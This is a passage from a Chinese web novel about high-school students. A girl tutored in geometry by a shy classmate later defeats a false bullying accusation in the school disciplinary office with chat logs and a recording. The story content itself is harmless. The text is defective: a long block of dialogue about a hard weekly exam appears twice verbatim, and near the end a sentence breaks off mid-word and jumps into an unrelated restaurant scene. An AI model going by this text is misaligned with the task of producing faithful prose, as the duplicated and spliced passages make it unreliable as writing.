卢俜摸着栏杆走,齐恩疑心他能否自己回家。她扶着卢俜到他家门口,问他钥匙呢。
卢俜低下了头,双手摸索着短裤的口袋。
“要不今晚在我家过夜吧,我怕你喝麻了。”
卢俜闻言,停下试钥匙的动作,思索着。
“……不要。”
他轻哼一声。
“为什么?”
“不安全。”
“诶———”他一个大男的,怎么这么矜持,“那么提防我干嘛?好学生,我人不坏呀。”
卢俜捏着钥匙开了门,还是说,不行。
齐恩进了客厅,换鞋,他说不行不行。
齐恩说,我怕你第二天清醒了会恨我灌你。
卢俜嘀咕着“我不会恨你”就躺在沙发上。
齐恩想他能照顾好自己吗,她打开冰箱找茶给他解酒。冰箱很满,她下意识地咦了一声。
齐恩摸着发烫的脸颊。
她低低笑了起来。
一只泡芙
齐恩打开冰箱有提示音,卢俜也听到了。
他手忙脚乱从沙发爬起来,快步去关上。
他靠着冰箱门,用肩膀抵住,维持着那个不让她继续打开的动作:“别乱翻我的东西。”
齐恩早看清了:“给我买的?下午买的?”
卢俜尴尬地说不出话,齐恩却笑得眉眼弯弯,唇红而齿白。在不停晃荡的视角里,她美丽的脸迫近里,逼供似的,缓慢“嗯?”了一声。
卢俜忽然觉得不能再看她了,他双手攀住齐恩的肩,俯身而下,然而,却强迫她掉转身体。背对她,他从身后推她,“你走吧,赶紧。”
“你真没事吗?”齐恩诧异地扭过头。
“……没事。”卢俜不敢和她对视,只敢在手掌心使劲,“走,快点,从我家里出去。”
“行,行。”看他羞的。
她还什么都没说呢。
卢俜把她推出门,又把门“砰”地关严实了。
齐恩揉着额发,无奈地叹了一声,隔着门喊:
“还是那句话啊,有事找邻居。”
卢俜靠在门的另一边,开门时有热流涌进来,关门就好了。不一会儿,身体在冷气的作用下降了温度。他靠着鞋柜喝冰茶,喝了半瓶就好很多。去洗澡、去睡觉,卢俜,动起来。
他却鬼使神差走到窗边。齐恩家亮了起来,灯光是暖黄色的,从窄窄的正方窗宣泄出。
他把客厅的灯关掉,这样方便她觉得他睡下了。虽然卢俜也疑惑自己为什么要这么做。
齐恩回到家已经十一点半了,她去洗澡,把头发吹到半干,不是立刻上床,而是把卢俜白天讲的题消化了一下。他还勾了几道让她回去巩固,齐恩能写的就写,剩下的明天再问。
数学祭天,法力无边。
齐恩一夜好梦。
次日早上九点,齐恩在聊天框里戳卢俜。
“小卢猫课堂开课了,醒了没,还在睡?”
“醒了。”卢俜回答,“你吃早饭了没?”
“还没。怎么,你要请我吃饭吗?”
卢俜那边一直显示输入中,片刻才来消息。
“嗯,蟹王面馆这边,你下来吧。”
齐恩打着遮阳伞走到街头的蟹王面馆。
卢俜坐在店里,他穿一件白色短袖。
“哟,好巧。”齐恩身上是一件白吊带裙,“巧了你也穿的白色入镜。”
同色系的人做到一桌。
卢俜说:“看看吃点什么。”
“我来榕城这么久,还没吃过蟹王面呢!”
“就是粿面,有海鲜蟹黄,口感很鲜甜。”
“啊,我要一碗。”齐恩大声说。
“老板———!蟹黄面!”
卢俜点了一碗鳝鱼面,他吃面条慢吞吞,还要吹几口,很斯文。齐恩吃得鼻尖冒汗,又想起询问他宿醉的后续:“你昨天晚上还好吧?”
“没事。”卢俜说,“缓一会儿就好了。”
“那看来是上头快,下头也快。多喝多练。”卢俜冷飕飕地瞥她一眼,心想那都怪谁。
“干嘛,可不是我灌你,你自己非喝那么多。怎么样,偶尔借酒消愁,感觉还不错吧?”
“没有消愁。”卢俜也不觉得感觉不错。
身体会变成不能控制的东西。
然后产生一系列麻烦。
不知为什么,卢俜的眼前浮现出齐恩环臂靠在他家门口的画面。还有她那一句轻佻的:
“好学生,我不坏啊。”
卢俜抿了抿唇,埋头吃快了一些,随后起身去结账。齐恩吃不完粿条,擦了擦嘴跟上他。
“去你那学?我要先回家一趟,拿月考卷。”
“好,还是那几样。收拾好就来我家。”
“哟———!”齐恩用胳膊肘抵他的肩膀。
“是谁昨天晚上还赶我啊?”
卢俜的脸倏然红了。
“……别闹我。”
齐恩哈哈哈大笑,不侃他了。
到卢俜家的客厅,齐恩发现和昨天的摆设不太一样了。矮桌被几本旧书垫高,更方便写字,昨天的塑料小凳也被换成软垫。她席地而坐,后背能靠着松软的沙发,也不容易腰酸背痛。
“可以啊老师,这么体谅学生。”齐恩笑得很得瑟,“其实你超在意我昨天说的话吧?”
“……没有。”卢俜递出一杯冻乌龙给她。
齐恩摆手:“我这两天喝不了冰的啦。”
卢俜起身去岛台烧水,拿出一盒茶包,给她泡了杯热红茶。齐恩翻出昨天他布置的题:
“有几道不会,看答案才知道。”
齐恩后知后觉:“是不是不能看答案啊?”
“不是。有自己思考的过程就可以。”
再次把昨天难以入目的月考卷翻开,齐恩有了干劲,卢俜拿起笔,继续给她讲后面的大题。
十七到十九是三角函数、数列和应用题,齐恩拿满了,所以她这次考得还可以。从立体几何开始是重灾区,最后三题齐恩只能做出第一小问,这不能怪她,圆锥曲线和导数本来就难。
“立体几何还是可以试一试的。”卢俜说,“你把垂直证出
来了,这就是条件,很多情况下第一小问和第二小问关联很大,在这个基础上再做辅助线,其实这就是一个墙角模型。”
“模型?”齐恩一头雾水,“还有高手?”
“不是高手。”卢俜拿出草稿纸,开始作图。
“一些常用立体几何模型,我们老师总结的是八种,其中包括墙角、垂面、矩形、折叠……每一种模型都有对应例题和方便计算的公式,只要练熟了,到考场上直接套公式就可以。”
“有公式就是快!”齐恩感慨。
“今天你把这张纸吃透就行了。”
卢俜用笔尖点了点那八个图形。
一个上午的时间,卢俜都在给齐恩做证明,得结论。只要涉及几何,任何事物都会变得抽象起来,齐恩简直想不到有一种题型能既考验人的图形想象能力,又考验人的公式计算能力。
“但也有好处。”卢俜说,“只要你辅助线做得好,能省很多计算步骤。所以对于有些人来说几何就是一生之敌,他们看到图就会害怕,有的人反而卷子一发下来就去看二十题。”
“我觉得我是前者。”齐恩惶恐。
卢俜很有耐心:“不要怕它。”
把草稿纸折进错题本里,齐恩问卢俜借厕所,卢俜说卧室旁边。想到她说来生理期了,卢俜十分委婉地问:“需不需要我去买……”
“不用,我有。我用的卫生棉条。”
卢俜不知道是什么,查了一下。
这个年龄的女生大多用卫生巾,很少用卫生棉条,国外的女性可能多些。这是一种很方便的经期产品,更环保便携,也更不容易漏出来。
底下也有一些不友好的评论,大抵是说用的都不是处女云云,随即有人反驳他,处不处和你有鸡毛关系,鸡都没有鸡毛长的东西,鸡毛长见识短,很多运动员都用卫生棉条好吗?
卢俜顺手点了个赞。
齐恩从卫生间出来,他们继续解决剩下的两个大题。就这么讲到下午两点。卢俜口干舌燥,齐恩更是头脑冒烟,中途喊停,“再讲下去就要黑化了,老师就知道他的王牌又回来了。”
“那是什么意思?”
齐恩说你看这个。
视频里一个六七岁的小妹妹,滤镜开得很重,轻蔑道:“当老师看到我一身黑衣,从短裙换回长裤,从顺发换回马尾,对所有人热情却保持高傲,老师就知道,他的王牌又回来了。”
卢俜实话实说:“……有点非主流。”
“要不我怎么爱看呢。”齐恩笑了。
“高玟说我就是看这个才把脑子看坏的。”
“你脑子不坏,只是做题还不够熟练。”
齐恩叹息一声,说他不够幽默。
幽默,卢俜心想,陌生的词。
“诶,下课了,老师。”齐恩把脚丫一翘,“我就不尊师重道了,你去给我炒俩菜。”
卢俜说没有菜,齐恩说我开玩笑的,卢老师,咱们吃点零食吧,你看中午的饭点都过了。
齐恩去挑冰箱里的零食,平时她不吃热量高的,但来姨妈了就想吃点甜食。她拿了一盒泡芙和两包薯片,蹦蹦跳跳地回到桌前。卢俜在吃面包,她不客气地抢过吐司纸袋放到一边。
“吃点好的吧!”她递给他一只泡芙。
卢俜没有接过:“这个我不爱吃。”
齐恩突然就咯咯笑了,卢俜还不明所以。
“还说不是给我买的!”她戳他胸口。
卢俜也意识到自己露馅了,慌忙移开视线。
他捏了捏鼻尖,“……我没那么说过。”
“好啦,好啦,别嘴硬啦,来,尝尝看!”
齐恩把泡芙递到他嘴边,卢俜伸手去拿。
“张嘴!”齐恩瞪他。他只好咬了一口。奶油太多了,顺着缺口冒出,他用一只手接着吃,齐恩也帮他接着。卢俜吃不懂这个,咬一点,又有奶油要流出来,他只能一整个吞下去。
在这个过程中,卢俜感觉自己的嘴唇隔着奶油一下下碰到她的拇指,冰冷中有温热的触感。真尴尬,触碰到别人的身体。卢俜目光闪烁,齐恩却没有察觉到,反而问他:“好吃吧?”
“……还可以。”他离远了些她的指尖。
“不开心的时候,就是要吃点甜食才会开心,我可没骗人,就和借酒消愁一个
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道理。”
“我没有不开心。也没有想借酒消愁。”
“小猫开不开心,我一看就知道了。”
“……”
下周周考时,齐恩对自己的数学胸有成竹,有学神卢俜的加持,她觉得自己肯定及格保底,没想到周五卷子发下来,还是把齐恩给整老实了。看着七十九的标红,她的沉默震耳欲聋。
“Tell me why ———!”
齐恩激情献唱一首。
“你这都算好的了。”袁礼米说,“你看高玟,上次数学一百一,这次只有九十一。”
“ 我不舒服!我不舒服!”高玟捂着自己的脑袋,“别再说了,我不舒服啊啊啊!”
只考五十六分的谌俞问她哪里不舒服。
高玟安详地闭眼:“我尸体不舒服。”
不能怪学渣们,
这周的考卷确实出的太难了,一般选填简单,大题就会难一点,或者相反,这次则一个都不沾。就连办公室的老师们也在骂,这谁出的啊,太有病了,存心打击学生。
张其薪刚从办公室回来,“柯女士出的。”
“破案了!我说是谁啊!快期末了还搞我们心态!一班的老师真的有病吧!”高玟怒骂。
“不是,你说她出这么难的卷子图什么啊?”谌俞叫苦不迭,“凸显她的教学水平吗?”
齐恩摇头说不知道,高玟冷哼一声:“凸显他们班奥数天才多呗,卢俜这次不又是第一?”
“他这次考多少啊?”齐恩问。
“一百四十五。”张其薪回答。
“我看到时候高考,每个班挑几个去算了。”高玟忧心忡忡,“我这个实力,考了也只能给人家当炮灰,将来毕业打包去工地算了。”
“你这么想,谌俞以后怎么办?”
“我去给趣多多点巧克力豆!”
“那我去泡面厂给人家装调料包。”
“我去卖东北烤冷面。”高玟说。
袁礼米:“那我去给小学生辅导英语。”
聊到辅导,张其薪说如果期末没考好,暑假又要报培优班,原本想着去看足球赛。齐恩问:“你是自己想报,还是家里人非要你报啊?”
“他爹管他学习很严。”谌俞解释。
齐恩多看了一眼张其薪,原来班长的学习压力也不小。更何况他还把卢俜当作对手,这次分数和人家差了那么多,心里肯定更不是滋味。
上午两节数学课,周考能讲个热乎的。
齐恩竟然勉强跟上了陈老师的节奏。
大课间的时候,刘彩来班上一趟。
他把齐恩给单独叫出去了。
彩老师严肃地问了几个问题。
齐恩愣住了:“……什么?”
“方婕说我霸凌她?”
这周的考卷确实出的太难了,一般选填简单,大题就会难一点,或者相反,这次则一个都不沾。就连办公室的老师们也在骂,这谁出的啊,太有病了,存心打击学生。
张其薪刚从办公室回来,“柯女士出的。”
“破案了!我说是谁啊!快期末了还搞我们心态!一班的老师真的有病吧!”高玟怒骂。
“不是,你说她出这么难的卷子图什么啊?”谌俞叫苦不迭,“凸显她的教学水平吗?”
齐恩摇头说不知道,高玟冷哼一声:“凸显他们班奥数天才多呗,卢俜这次不又是第一?”
“他这次考多少啊?”齐恩问。
“一百四十五。”张其薪回答。
“我看到时候高考,每个班挑几个去算了。”高玟忧心忡忡,“我这个实力,考了也只能给人家当炮灰,将来毕业打包去工地算了。”
“你这么想,谌俞以后怎么办?”
“我去给趣多多点巧克力豆!”
“那我去泡面厂给人家装调料包。”
“我去卖东北烤冷面。”高玟说。
袁礼米:“那我去给小学生辅导英语。”
聊到辅导,张其薪说如果期末没考好,暑假又要报培优班,原本想着去看足球赛。齐恩问:“你是自己想报,还是家里人非要你报啊?”
“他爹管他学习很严。”谌俞解释。
齐恩多看了一眼张其薪,原来班长的学习压力也不小。更何况他还把卢俜当作对手,这次分数和人家差了那么多,心里肯定更不是滋味。
上午两节数学课,周考能讲个热乎的。
齐恩竟然勉强跟上了陈老师的节奏。
大课间的时候,刘彩来班上一趟。
他把齐恩给单独叫出去了。
彩老师严肃地问了几个问题。
齐恩愣住了:“……什么?”
“方婕说我霸凌她?”
无的放矢
这世界太疯狂。
耗子都给猫当伴娘。
齐恩听到笑话无非是这个反应,刘彩看着她,她就开始乐,乐得捂住肚子弯了腰。
刘彩看她这反应,也是松了一口气,原本他被喊到政教处问责的时候还有些迟疑。
齐恩指了指自己:“我,老师,是我啊。”
“没做就好。”刘彩说,“老师去调解。”
齐恩心想你调解啥,上次张其薪和周第那事不也靠我么:“在哪儿,老地方么?我也去。”
“情况有点复杂,对方的家长也来了。”
“谁啊,方婕?她爸不是校董会的吗?”
刘彩心想她真是门儿清。
“是啊,你们学生都知道?”
“我一个刚来两三个月的都知道,你说呢?”
刘彩尽显打工人本质:“你比还我清楚。”
“你这不行。”她还批评起老师来了,“平时多流通流通消息,走一走人脉,免得再和上次一样,被一班的柯女王吊着打。面子工程是肯定要做的,嘴也是要快的,不然没处说理。”
“柯女王?”刘彩忍俊不禁,“谁这么喊?”
“同学们背地里肯定瞎喊啊,越恨她越这么喊,说女王拿周考狠狠拷打我什么的。”
刘彩不是不玩抽象,只是没想到还有高手。都是年轻人,能嬉皮笑脸,谁想摆老师的架子:“隔壁班主任说他们班都考蔫巴了,也在骂柯俐,说她没事吃溜溜梅,闲(咸)得慌。”
“隔壁班主任不就是秦东东?老师你不知道,班上同学现在都认秦东东老师当干爹了。”
“秦东东是你们能喊的?一点也不尊师重道!”刘彩追问,“怎么还认人家当干爹?”
“你不知道啊?”齐恩把上周食堂那事讲了。
刘彩摸下巴:“和方婕说的还真是不一样。方婕说你污蔑她,在学校里败坏她风评。”
“我了个倒反天罡啊,我败坏她风评?”齐恩左手扶额比了ok的手势,她实在无言以对,她都还没有拿聊天记录说事呢,方婕倒是恶人先告状了,谁张嘴谁有理了吗?
两人走到政教处门口。刘彩叮嘱她不要紧张,不要上头,问她什么就实话实说。
其实刘彩并不担心这个,齐恩遇事的种种反应,都说明她绝对不是好招惹的学生。
齐恩进门,果然很多人,从左到右看了个遍,方婕和她那个校董会的爹,一旁陪笑的柯俐,还有周第和其余几位一班学生,拧着眉头的秦东明,齐恩就知道要说的是什么事儿了。
她最后看向温主任:“主任好,您喊我?”
其实是没喊她的,但是当事人都在这儿了。
“方婕说你污蔑她,这是怎么一回事?”
温主任发话,所有人的目光都集结齐恩。
首先是美丽,其次是困惑,她看向方婕:
“是啊,方婕,这是怎么一回事儿?”
柯俐脸色铁青:“别在这里嬉皮笑脸的,齐恩!每次都是你们班闹事,上次张其薪打人那事也有你,月考作弊也有你,还有这次食堂闹事,你们班真是邪没完了,谁管都不服气!”
当着众人的面,这明显是不给刘彩的面子。
他上前一步要开口,齐恩用肩膀撞了撞。
“老师,话不能瞎说哈,要凭证据的。所以我说谣言怎么那么难澄清呢,造谣一张嘴,澄清跑断腿。”齐恩自顾自找沙发坐下,前两回来她都是有沙发坐的,这轻车熟路的架势,搞得学校真是她家一样,“你这一说完了,全校都以为我们班打人、作弊、不服学生会的管。”
“谁准你坐下的,站起来!这是在问你的话!对老师就要有对老师的态度!”她吼完,看到一旁的方校董满意的神色,心中也多了底气。
齐恩煞有其事:“等我先报个警。”
“……什么?”柯俐不可置信。
“我要报警,柯老师公然污蔑诽谤我、捏造事实诽谤我。”齐恩说,“我政治学得不算好,但也知道如果个人利益受到侵犯,要用法律为武器保护自己,让对方承担相应的责任。”
眼见柯俐气得整张脸都在抽搐。
齐恩心道这招还真是屡试不爽。
“你说人家老师污蔑你。”方爸爸终于开口,带着长辈对小辈的威压,“你有证据吗?”
“那方婕说她污蔑我,她难道有证据吗?”
“人证物证都在。”柯俐说,“周第你说。”
周第站出来:“我可以作证,齐恩污蔑方婕,说方婕造谣了她,当时在场的一班人都知道。我们本来是要解释的,结果秦老师什么也不问就硬说是方婕的错,搞得她被别人误会。”
“而且他们班本来就翘课了,方婕只是公事公办而已,他们还记恨人家,说会长徇私。”
“我也作证,当时高玟差点对我们动手!”
温主任说:“食堂监控调出来,你们班也是下课之前就到食堂了,虽然是体育课改成自习,但是提前下课也不符合学校的规章制度,你们是出教学楼了,你们的安全谁来负责?”
看似是责怪十七班,实则是把大事化小。只要刘彩认下自班同学提前下课,这
事就算完了。
齐恩心里明镜似的,这番明罚暗保,其实温主任的态度也很有味啊,刘彩是有保护伞的。
只是,事情能这么简单就解决吗?
方爸爸说:“最重要的不是这个。”
“我们家孩子平白遭受了侮辱,明明婕婕就是对同学老师都很友善的,也尽职尽责完成学生会长的工作,就因为这位女同学的几句话,把她塑造成别人眼中因嫉妒就无事生非的人。”
“现在,有关婕婕的辱骂充斥了学生们的议论中,甚至还有学生道听途说,对我们家孩子在网络上进行攻击、谩骂,已经致使孩子产生了非常强烈的厌学情绪。我们需要一个结果。”
柯俐朗声:“根据我校规章制度,需要对校园霸凌的受教育者进行学籍管理,实施处分或劝退。齐恩行事这么嚣张恶劣,必须退学!”
刘彩一下就坐不住了:“什么退学?这也太武断了吧!这事是不是齐恩做的都不确定!”
“人证物证确凿,还有什么不确定?”柯俐咄咄逼人,“刘老师,不是你这样包庇的!”
秦东明说:“温主任,其实当时两个班级的态度都有问题,我认为不只是十七班……”
“那您也不能逮着方婕说吧,秦老师。”周第不服气地道,“您这不是帮亲不帮理吗?”
整个政教处已经乱成一锅粥。
齐恩觉得端起来就能喝了。
方婕却猝不及防地流下了眼泪。
“齐恩,你为什么对我意见那么大?”
所有人都因她的哭声而止住了话。
“我不知道自己是哪里得罪了你,但是我已经知道错了,我向你道歉。你能不能不要再针对我们班的人,把我们班的女同学关到器材室里?虽然你讨厌我,但是她们是无辜的啊!”
在场所有人都是一惊,涉及到行为霸凌,这可就不是动动嘴皮那么简单了。
“当时户外都快四十度了,你把她们关在那么小的器材室里,中暑了可怎么办?还好我正好听到她们的呼救,不然就真有生命危险了!这件事我一直没敢说,就是怕你再报复……”
温主任面色倏然一沉,立即问出那两个女生的名字,让柯俐赶紧把人喊了过来。
于是,齐恩看着自己曾经救过的女生,以惴惴不安的姿态,说出与事实完全相反的证词。
“是的,是齐恩,是她把我们关进去了。”
“对,她当时让我们去拿东西。”另一个女生帮腔,“她让我们去拿,她就趁机拉闸门!”
温主任问一旁的安保是否调得出监控,安保回答可以是可以,但是器材室位置太偏了,门口那片空地都是盲区,只有器材室一角有监控。调出来之后,首先看到两个女生走了进去,确实做出了翻找东西的姿态。随后卷闸门突然就落下,并未完全关闭,而是被一根拖把翘住。
从监控视角拍不到外面,像素太差了,隐约只能看到卷闸门被卡住一道缝,两人因此获救。
齐恩终于知道方婕污蔑她的底气了,原来她自己把这出戏圆完了,也是辛苦她唱念俱佳。
“真是恶劣!太恶劣了!”柯俐痛心疾首。
方爸爸冷笑:“我竟然不知道自己投资和信赖的学校里,还有这样作风不正的学生存在。”
温主任为难地望向齐恩,刘彩更是脑门冒汗。
齐恩却兀自抬下巴:“你们现在摆完了吧?”
“……摆什么?”明知道齐恩牙尖嘴利,话里不止一个意思,柯俐还是下意识地接了话。
“龙门阵、鸿门宴,摆完了没?”
齐恩好整以暇地望向温主任。
“我现在可以替自己申辩了吗?”
周第插嘴:“我倒要看你怎么说出一朵花!”
“第一个就是你周第。打架斗殴那事,最后的结果你忘了吗,当着大家的面给张其薪道歉,低声下气的那样子,你难道忘了吗?听到要处分你,魂都快吓没了,啧啧,你忘了吗?”
“齐恩……你!”周第气急。
“我怎么?你公然辱骂刘彩老师和高玟,造谣我们班谌俞,根本不看让温主任查收声监控,你忘了吗?”齐恩见他上前一步,丝毫不退,“恼羞成怒要动手了?你又想挨处分了?”
“看吧。”齐恩冷笑,“你可以这样对别人,别人这样对你,你就破防了,真好笑。”
眼看局面讨不着好,柯俐强行切了话题:
“齐恩,我们在说的又不是这件事!”
“又说回你了,柯老师,说我作弊那事,难道你比出卷组的老师更权威一些?当时办公室里的老师都说我没作弊,这就是最后的结果,你不分青红皂白污蔑我,你要说的是这件事?”
“你……你……”柯俐被扣了一顶大帽子。
方爸爸敲桌:“我现在只想谈谈婕婕的事。”
“当然,这也是要谈的。”齐恩看向了方婕。
“你想好了,方婕,撒谎要付出什么代价。”
“我……”方婕被她问得险些露怯。
“我没有撒谎,我说的是实话!”
“我给过你机会了。”齐恩眯了眯眼。
“我确实……给过你机
会。”
她拿出手机,打开,调出那张聊天记录。
“这个头像是你吧,说的那些话。”齐恩把手机放在桌面上,筹码一样推出去,推到方爸爸的面前,“这是你家女儿和她同班同学对我的造谣,包括但不限于说我假摔、说我骚扰他班男同学、说我人品奇差、说我和温主任卖惨。很有意思的是,她还倒打一耙说我造谣她。”
方爸爸和温主任同时看向屏幕。
白底黑字使他们的神色愈发凝重。
方婕捏紧袖口,其中一个女生急忙道:
“这些都是齐恩空口捏造的!我们从来没有给她发过这些,都是她自己做的假证
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据……”
“图片可以捏造,聊天记录也可以吗?”
秦东明摁着刘彩的肩膀作安抚,严肃地问。
“那个号,那个号根本不是我!”方婕哭喊。
“好,不是你。”齐恩顺着她的话,猝然起身,双手奋力地拍在实木桌上,响声彻天。
“我现在就敢把手机上交,供校方检查!”
她额角青筋暴起,整张脸美艳而愤怒。
“方婕,你敢不敢?!!”
方婕被那火焰般灼热的目光注视,一时无所遁形,胆怯地捏住手机。“不,不是的。”她还没来得及删聊天记录,“这是我的隐私……”
“好,关于谁造谣谁这件事,我拿的出证据,你拿不出,事非公道自在人心。”齐恩深吸一口气,再缓缓地坐下,这一次所有人都以全然专注的眼神看她。控场的能力,齐恩有,并且太强悍了,一个人的气场可能和容貌有关联,但更有压迫性的东西,流淌在她言谈举止间。
接下来轮到她的反击了。
“你说是我把她们关在器材室里的,方婕,你自己听听这话站不站得住脚。她们俩刚跟我坦白了你说我坏话的秘密,我非但不感激,还反手给了她们一下?我这样做有什么动机呢?”
“实际上,真正有动机的人是你。你在食堂得知自己造谣的秘密被泄露,祸从她们的口出,你要报复她们,要让她们住嘴,所以你骗她们说要拿学生日志,将她们骗去了器材室里。”
“好奇怪,好奇怪,你说我没有证据对不对?你要说这两个受害者的证词算怎么回事?”齐恩故作疑惑,“对啊,她们到底是受了谁的指使才改证词,又是谁在施压,谁在受害?”
“……你有话就直说。”方爸爸道。
“那我不墨迹了,就直接问了。”
“方婕,你说是你救了她们,可除了她们并没有别的证人,所以你单独救的她们,对吗?”
方婕点了点头,齐恩指着监控最后的画面:“可是这里显示有两个人影,你想做伪证,忘了那天下午太阳很大,握着拖把杆的人是你,但右上方角落还有个黑影。你不是一个人。”
“那……也许是树的影子……”
“空地上,怎么会有树的影子?”齐恩耸了耸鼻尖,揶揄地反问,“你说是你救的人,当时卡住的那只拖把是什么颜色,你还记得吗?”
“当时情况危机,谁会记得啊!”周第辩白。
“你不记得吗?可我记得,拖把太老久了,是灰色的,根本分不清颜色。实在是太老久了,所以拖把杆中途断裂,闸门下压,真是好惊险,千钧一发之际……”齐恩点在那个黑影上,“这个人,对,就是这个好心人,用他的肩膀扛起了底盘,用身体充当了临时支架。”
“他怎么没有出场作证呢?”
方婕说不出话来,齐恩步步紧逼:“因为你根本没有救人,和他一起救人的不是你。你知道他是谁吗?真好笑,你所谓我死缠烂打的人,卢俜,是他和我一起救的人。“她抬起手上的疤痕,“这是当时卡门闸的那根旧拖把断裂,在我手上留下的伤口,你当然不会知道。”
齐恩眯了漆黑的眼,扯出残忍无谓的笑意。
“方婕,你敢不敢把卢俜叫过来对证?”
柯俐显然意识到事态的真相,然而再怎么也要替方婕辩驳:“但是这两个女生的证词……”
“啊,是。”齐恩走到两名女生面前,俯身轻声地道,“我确实,给过你们机会了。”
她拿出一只录音笔,当着众人的面摁开。
“谁说的?”齐恩的声音。
“那个谁……方、方婕吧。”
“是就是,不是就不是,吧是什么意思?”
“是她是她,她老爱说人坏话了……”
方婕和两位女生的脸上瞬间没有了血色。
“害怕了?”齐恩切到下一段,“还有呢。”
“是方婕做的。方婕说学生会的日志落在里面,让我们课间来取一趟,我们来了,就遇到这样的事。谢谢你和卢俜,多亏你们来了,不然我们要在这里被关一节课了。”
“你不是我们,你不知道的,这件事如果不计较,过去就过去了……方婕的爸爸事校董会的,柯老师……柯老师也不敢公事公办……”
录音笔结束了播放。
办公室内陷入冰封。
温主任冷声:“是这样吗,柯俐?”
“主任,我、我也不知情啊……”
齐恩把玩着录音笔,露出
一个标准的笑容:“我确实有录音的习惯,遇到奇怪的事,这样做总比什么都不做好。大家可能不是很理解,在国际赛场上接受采访,经常会被媒体记者们恶意揣测和引导发言,有时候队内的前辈也会说些难听的话,我习惯这样来保护自己。”
“我只是不明白,为什么在学校也会用上。”齐恩更疑惑的是:“你们为什么要污蔑我?”
“对不起……”女生们哭得上气不接下气。
“为什么?”齐恩只是想要一个答案。
一时间只剩下此起彼伏的抽泣声。
“方婕欺负过你们,但是我没有。那为什么你们不对付方婕,反而来对付我?难道你们不怕我家里也有背景,以此来要挟,让你们上不了学,或者我现在也硬要找温主任讨个说法?”
“不,不会的……齐恩你是好人……”
“好人?”齐恩重复一遍,她不再笑了。
她生气了。
“好人就得让你们拿枪指着?”
主任的茶
方婕两脚一软,竟然直接晕了过去。
方爸爸也顾不得其他,给了温主任和柯俐一个有深意的眼神,就急匆匆抱着爱女离开。
温主任目送捐了两栋楼的校董,让其余的学生都离开,两位班主任和当事人齐恩被留下来。
他这才松了一口气,徐徐坐回办公椅上,往额头上一抹,竟然是一脑门子的汗,他叹息道:
“你们一班和十七班啊,我该说什么好?”
刘彩和秦东明还沉浸在方才齐恩舌战群儒的精彩表现里,柯俐急道:“主任,这事就算方婕做的不对,方先生也是学校的投资人……”
“你应该问的人是齐恩。”温主任望向仍坐在沙发上的受害者,“尽量取得人家的谅解。”
“……不接受谅解。”齐恩面无表情地道,“该怎么处理就怎么处理,公事公办。”
“你……”柯俐郁结,“这件事要是闹大了,对谁都不好,你也拎得清状况吧!”
“我还没闹大呢,我好歹没报警吧。”齐恩也不和她逼逼,“柯老师,我和刘老师秦老师,我们想要的不过公平二字,这很难吗?”
“可做人留一线,日后好相见啊。”柯俐咬牙道,“不是老师说,你以后到社会上……”
“以后是以后的事。可我现在还是个学生,在我们学校读书,我有权得到老师们的帮助。”
“还是老师您觉得,给学校捐了楼的学生才算学生,我们这种平头老百姓就不算学生了?”
“这……你……”柯俐实在说不过她。
“而且,听您刚才那副说辞,如果我没解释,可是直接退学呢。老师您可没给我留一线。”
“齐恩。”温主任终于开口调停,“我们就按照规章制度来,该停课停课,该处分处分,但这样的事也有辱学校的风气,最好不要声张,就不做处分公告了,你看这样接不接受?”
齐恩抬了抬后颈:“早这样不就完事了?”
“主任,方先生他肯定……”柯俐急切起来。
“方爸爸刚才也知道了全情,明白我们这样做的原因,当家长的肯定要学会体谅和接受。”温主任不再给任何人反驳的机会,“好了,你们都先出去,我要单独教育齐恩几句。”
等所有人走了,温主任开始慢悠悠泡茶。
“这些人啊。”他说,“一个不让我省心。”
齐恩笑了笑,没有说话,低头看手机。
温昆然把茶夹到她跟前:“铁观音。”
广东人爱喝茶,齐恩知道,“谢谢。”
“这茶还可以吧?”温主任问。
齐恩刚才看到了:“正味?”
“你居然还懂铁观音啊。”
“我爸爸爱喝福建茶。”
“你爸爸……”温主任有意把话题引导下去。
“普通人。”齐恩哪能不知道他在想什么。
温主任无奈地摇头笑了笑,又感慨:“你这个性格,太狂了,有没有人这样说过你?”
“有啊,没退役的时候记者采访我,有的也说我性子比较傲,教练也是,让我说体面话。”
“你这个性格以后到社会上有好有坏。”
“我爸也这么说。”齐恩不以为然。
齐恩把手里的录音笔推给温主任。
“您来处置就好,我手上没别的了。”
解决了一个不大的心患,齐恩信步闲庭地往教室里去,却没想到和十七班的同学撞个正着。
“齐恩!”高玟最先攥住她的手,“怎么样?温主任怎么说?我们一下课就组团来帮你!”
“你们来晚了,团战结束了才来。”齐恩扶着额头,痛心疾首,“就像人家说的那一句,天热了知道递棉袄了,人饱了知道添米饭了,尿完了知道找厕所了,裤子提了知道擦屁股了,孩子死了知道来奶了,一句话———晚了!”
“啊!完了完了!”有人唉声叹气,“没事的,齐恩,我们都相信你不是那种人。”
“就是,实在不行……我们去写检举信,去校长办公室闹,去网上曝光,总能有办法的。”
又有人问:“那结果怎么样啊?”
“估计处分、退学呗。”齐恩耸肩,“没事啦,天塌下来碗大块疤,不妨碍我是良民。”
张其薪一只手摁住她的肩膀,神情有些焦急,凑近低声道:“没事,我会想办法帮你的。”
“我?”齐恩大笑,“你得帮方婕!”
一时间,所有人都面面相觑。
谌俞第一个反应过来,上来就勒住齐恩脖子。
“齐恩你敢耍老子!操!老子都要流泪了!”
“你那不是要流,你是已经流了!在班上都哭三回了,第一回说自己太冲动,第二回要替齐恩蹲局子,第三回让我们照顾好你爸妈……”
谌俞一把捂住高玟的嘴,齐恩这才看出他眼圈红红,不由得揶揄:“男儿有泪不轻弹啊。”
袁礼米也是松了一口气:“有人路过政教处,正好听到柯老师说什么要你退学,我们一听,吓都吓死了,哪里还有什么心情上课啊?”
“好在你没事!”高玟忙不迭地接上,“咱们快点回班吧,还要听齐恩讲刚
街。
齐恩照例给卢俜发消息报备。
卢俜只回一句“好,知道了。”
袁礼米说天气太热不想吃火锅,烤肉也很腻,齐恩干脆带大家去一家复古的法式bistro。
“这种地方过了饭点人少,可以点吃的,也可以点酒水。”她介绍,“休息区还可以躺。”
“啊,吃得好饱。”袁礼米歪在座位上,“好喜欢这家餐厅的氛围,灯光和音乐都很好。”
“原来你喜欢这种风格啊。”齐恩懂了,“那你肯定也喜欢意国,都是巴洛克风格建筑。”
“是啊是啊!我高考完一定要去西欧旅游!”
“我想去巴西。”张其薪说,“看世界杯。”
谌俞激动地和他碰杯:“好兄弟,一起!”
齐恩问高玟:“你呢,有想好去哪里玩吗?”
